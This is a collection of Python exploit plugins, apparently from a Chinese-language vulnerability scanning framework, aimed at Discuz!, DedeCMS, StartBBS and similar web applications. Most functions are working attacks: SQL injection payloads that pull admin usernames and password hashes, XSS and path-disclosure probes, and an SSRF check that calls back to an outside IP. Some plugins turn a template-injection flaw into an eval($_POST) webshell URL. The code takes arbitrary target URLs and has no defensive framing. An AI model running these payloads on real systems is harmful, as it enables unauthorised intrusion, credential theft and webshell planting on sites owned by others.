def exploit(url):
headers = {
"User-Agent":
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
}
payloads = [
"/uc_server/control/admin/db.php",
"/source/plugin/myrepeats/table/table_myrepeats.php",
"/install/include/install_lang.php"
]
try:
for payload in payloads:
vulnurl = url + payload
req = requests.get(vulnurl,
headers=headers,
timeout=10,
verify=False)
pattern = re.search(
'Fatal error.* in <b>([^<]+)</b> on line <b>(\d+)</b>',
req.text)
if pattern:
logger.success("[+]存在Discuz! X2.5 物理路径泄露漏洞...(低危)\tpayload: " +
vulnurl + "\tGet物理路径: " + pattern.group(1))
return vulnurl
except:
logger.error("[-] " + vulnurl + "====>连接超时")
def do_vulns(self, model, plugins):
"""
漏洞信息
:param arg: string, 参数
:return:
"""
# 查看漏洞信息
if not (model and plugins):
vulns = self.show_vulns()
print("\nVulns\n=====\n")
print("%-40s%s" % ("Plugin", "Vuln"))
print("%-40s%s" % ("------", "----"))
for plugin, vuln in vulns:
print("%-40s%s" % (plugin, vuln))
print('\n')
# 删除漏洞信息
elif model == "delete":
self.clear_vulns()
logger.success("清除漏洞信息成功.")
# 保存漏洞信息到文件
elif model == "save":
plugin_name = plugins
vulns = self.show_vulns()
with open("vulns.txt", "a") as f:
f.write(os.linesep)
f.write("[%s]" % plugin_name + os.linesep)
for i in vulns:
if i[0] == plugin_name:
f.write(i[1] + os.linesep)
f.write(os.linesep)
logger.success("保存漏洞信息成功.")
def exploit(URL):
url = URL + "/faq.php?action=grouppermission"
if verify(url):
manager_hash = get_hash(url)
logger.success("Username: %s" % manager_hash["username"])
logger.success("Hash: %s" % manager_hash["md5"])
return "%s: %s|%s" % (URL, manager_hash["username"],
manager_hash["md5"])
def do_rebuild_db(self, line):
"""
重建数据库
:return:
"""
logger.process("清除当前数据库")
logger.process("重建数据库")
self.db_rebuild()
logger.success("OK")
def exploit(URL):
logger.process("Requesting target site")
try:
result = verify(URL)
logger.success("Username: %s" % result[0])
logger.success("password: %s" % result[1])
return "%s: %s|%s" % (URL, result[0], result[1])
except:
pass
def exploit(URL):
url = URL + "/static/image/common/flvplayer.swf?file=1.flv&" \
"linkfromdisplay=true&link=javascript:alert(1);"
logger.process("Requesting target site")
r = requests.get(url, timeout=5)
r.close()
if hashlib.md5(
r.content).hexdigest() == "7d675405ff7c94fa899784b7ccae68d3":
logger.success("Exploitable!")
logger.success(url)
return url
def exploit(URL):
url = URL + r"/?s=\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73" \
r"\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74" \
r"\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64" \
r"\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72" \
r"\\x69\\x70\\x74\\x3e"
logger.process("Requesting target site")
r = requests.get(url, timeout=5)
r.close()
if "</title><script>alert(document.domain)</script>" in r.text:
logger.success("Exploitable!")
logger.success(url)
return url
def exploit(url):
headers = {
"User-Agent":
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
}
flash_md5 = "c16a7c6143f098472e52dd13de85527f"
payload = "/static/image/common/focus.swf"
vulnurl = url + payload
req = urllib.request.urlopen(vulnurl)
data = req.read()
md5_value = hashlib.md5(data).hexdigest()
if md5_value in flash_md5:
logger.success(
"[+]存在discuz X3 focus.swf flashxss漏洞...(高危)\tpayload: " + vulnurl)
return vulnurl
def do_update(self):
"""
更新
:return:
"""
logger.process("")
logger.process("正在更新POC库")
logger.process("")
logger.process("下载POC列表")
remote_plugins = self.down_plugin_list()
logger.process("获取本地是POC列表")
local_plugins = self.get_local_plugin_list()
logger.process("比较-更新")
new_plugins = self.down_plugins(remote_plugins, local_plugins)
logger.success("新的POC库: %s" % str(new_plugins))
self.do_rebuild_db("")
def exploit(url):
headers = {
"User-Agent":
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
}
payload = "/plugin.php?id=nds_up_ques:nds_ques_viewanswer&srchtxt=1&orderby=dateline/**/And/**/1=(UpdateXml(1,ConCat(0x7e,Md5(1234)),1))--"
vulnurl = url + payload
try:
req = requests.get(vulnurl, headers=headers, timeout=10, verify=False)
if r"81dc9bdb52d04dc20036dbd8313ed05" in req.text:
logger.success("[+]存在discuz问卷调查参数orderby注入漏洞...(高危)\tpayload: " +
vulnurl)
return vulnurl
except:
logger.error("[-] " + vulnurl + "====>连接超时")
pass
def exploit(url):
headers = {
"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
}
payload = "/data/mysql_error_trace.inc"
vulnurl = url + payload
try:
req = requests.get(vulnurl, headers=headers, timeout=10)
req.close()
if r"<?php exit()" in req.content:
logger.success("[+]存在dedecms trace爆路径漏洞...(信息)\tpayload: "+vulnurl)
return vulnurl
except:
logger.error("[-] "+vulnurl+"====>连接超时")
pass
def exploit(url):
headers = {
"User-Agent":
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
}
payload = "/plus/download.php?open=1&link=aHR0cHM6Ly93d3cuYmFpZHUuY29t"
vulnurl = url + payload
try:
req = requests.get(vulnurl, headers=headers, timeout=10)
req.close()
if r"www.baidu.com" in req.content:
logger.success("[+]存在dedecms download.php重定向漏洞...(低危)\tpayload: " +
vulnurl)
return vulnurl
except:
logger.error("[-] " + vulnurl + "====>连接超时")
pass
def exploit(url):
headers = {
"User-Agent":
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
}
payload = "/plus/search.php?keyword=test&typeArr[%20uNion%20]=a"
vulnurl = url + payload
try:
req = requests.get(vulnurl, headers=headers, timeout=10)
req.close()
if r"Error infos" in req.content and r"Error sql" in req.content:
logger.success(
"[+]存在dedecms search.php SQL注入漏洞...(高危)\tpayload: " + vulnurl)
return vulnurl
except:
logger.error("[-] " + vulnurl + "====>连接超时")
pass
def exploit(url):
headers = {
"User-Agent":
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
}
payload = "/data/admin/ver.txt"
vulnurl = url + payload
try:
req = requests.get(vulnurl, headers=headers, timeout=10)
req.close()
m = re.search("^(\d+)$", req.content)
if m:
logger.success("[+]探测到dedecms版本...(敏感信息)\t时间戳: %s, 版本信息: %s" %
(m.group(1), check_ver(m.group(1))))
return vulnurl
except:
logger.error("[-] " + vulnurl + "====>连接超时")
pass
def exploit(url):
headers = {
"User-Agent":
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50"
}
payload = "/plus/recommend.php?aid=1&_FILES[type][name]&_FILES[type][size]&_FILES[type][type]&_FILES[type][tmp_name]=aa%5c%27AnD+ChAr(@`%27`)+/*!50000Union*/+/*!50000SeLect*/+1,2,3,md5(1234),5,6,7,8,9%20FrOm%20`%23@__admin`%23"
vulnurl = url + payload
try:
req = requests.get(vulnurl, headers=headers, timeout=10)
req.close()
if r"81dc9bdb52d04dc20036dbd8313ed055" in req.content:
logger.success(
"[+]存在dedecms recommend.php SQL注入漏洞...(高危)\tpayload: " +
vulnurl)
return vulnurl
except:
logger.error("[-] " + vulnurl + "====>连接超时")
pass
def exploit(url):
headers = {
"User-Agent":
"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50",
}
time_stamp = time.mktime(datetime.datetime.now().timetuple())
m = hashlib.md5(str(time_stamp).encode(encoding='utf-8'))
md5_str = m.hexdigest()
payload = "/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://45.76.158.91:6868/" + md5_str + ".jpg[/img]&formhash=09cec465"
vulnurl = url + payload
req = requests.get(vulnurl, headers=headers, timeout=10)
eye_url = "http://45.76.158.91/web.log"
time.sleep(6)
reqr = requests.get(eye_url, timeout=10)
if md5_str in reqr.text:
logger.success(
"[+]存在discuz论坛forum.php参数message SSRF漏洞...(中危)\tpayload: " +
vulnurl)
return vulnurl
def verify(URL):
r = requests.get(URL +
"/plus/search.php?keyword=as&typeArr[%20uNion%20]=a")
r.close()
if "Request Error step 1" in r.content:
logger.success("Step 1: Exploitable!")
result = get_hash(
URL +
"/plus/search.php?keyword=as&typeArr[111%3D@`\\\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\\\'`+]=a"
)
return result
elif "Request Error step 2" in r.content:
logger.success("Step 2: Exploitable!")
result = get_hash(
URL +
"/plus/search.php?keyword=as&typeArr[111%3D@`\\\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\\\'`+]=a"
)
return result
else:
logger.error("It's not exploitable!")
def verify(url):
"""
判断是否存在注入
:param url: 网站地址
:return: bool
"""
print(url)
logger.process("Requesting target site")
r = requests.post(url,
data={
"gids[99]":
"'",
"gids[100][0]":
") and (select 1 from (select count(*"
"),concat(version(),floor(rand(0)*2))"
"x from information_schema.tables gro"
"up by x)a)#"
},
timeout=5)
r.close()
if "MySQL Query Error" in r.text:
logger.success("Exploitable!")
return True
def exploit(URL):
url = URL + "/index.php/module/aciton/param1/${@phpinfo()}"
logger.process("Requesting target site")
r = requests.get(url, timeout=5)
r.close()
if "<title>phpinfo()</title>" in r.text:
logger.success("Exploitable!")
logger.success("Phpinfo: %s" % url)
url = url.replace("@phpinfo()", "@print(eval($_POST[chu]))")
logger.success("Webshell: %s" % url)
return url
def exploit(URL):
url = URL + "/index.php/home/search?q=1'union select 1,2,3,4,concat" \
"(0x6368756973686572657e7e7e,username,0x7e,password,0x7" \
"e7e7e),6,7,8,9,0,1,2,3,4,5,6,7 from stb_users limit 1-" \
"- &sitesearch=http://127.0.0.1/startbbs/"
logger.process("Requesting target site")
r = requests.get(url, timeout=5)
r.close()
if "chuishere" in r.text:
logger.success("Exploitable!")
username, md5 = r.text.split("~~~")[1].split("~")
logger.success("Username: %s" % username)
logger.success("Hash: %s" % md5)
return "%s: %s|%s" % (URL, username, md5)
def exploit(URL, Cookie):
logger.process("Requesting " + URL)
url = URL + "/?m=message&a=show&uid=%27)%20union%20select%20concat(0x686" \
"16e64736f6d65636875,user_name,0x7e7e7e,password,0x68616e647" \
"36f6d65636875)%20from%20et_users%20limit%201,1%23"
r = requests.get(url=url, cookies=Cookie, timeout=5)
r.close()
if "handsomechu" in r.text:
logger.success("Exploitable!")
handsomechu = r.text.split("handsomechu")[1].split("~~~")
username, password = handsomechu
logger.success("Username: %s" % username)
logger.success("Hash: %s" % password)
return "%s: %s|%s" % (URL, username, password)
def exploit(URL):
urls = [
URL + "/index.php/search.html?keyword=%24%7B%40phpinfo%28%29%7D",
URL + "/search.html?keyword=%24%7B%40phpinfo%28%29%7D"
]
for i, url in zip(range(1, 3), urls):
logger.process("Testing URL %d..." % i)
r = requests.get(url, timeout=5)
r.close()
if "<title>phpinfo()</title>" in r.text:
logger.success("Exploitable!")
logger.success("Phpinfo: %s" % url)
url = url.replace("%24%7B%40phpinfo%28%29%7D",
"%24%7B%40eval(%24_POST%5B'chu'%5D)%7D")
logger.success("WebShell: %s" % url)
return url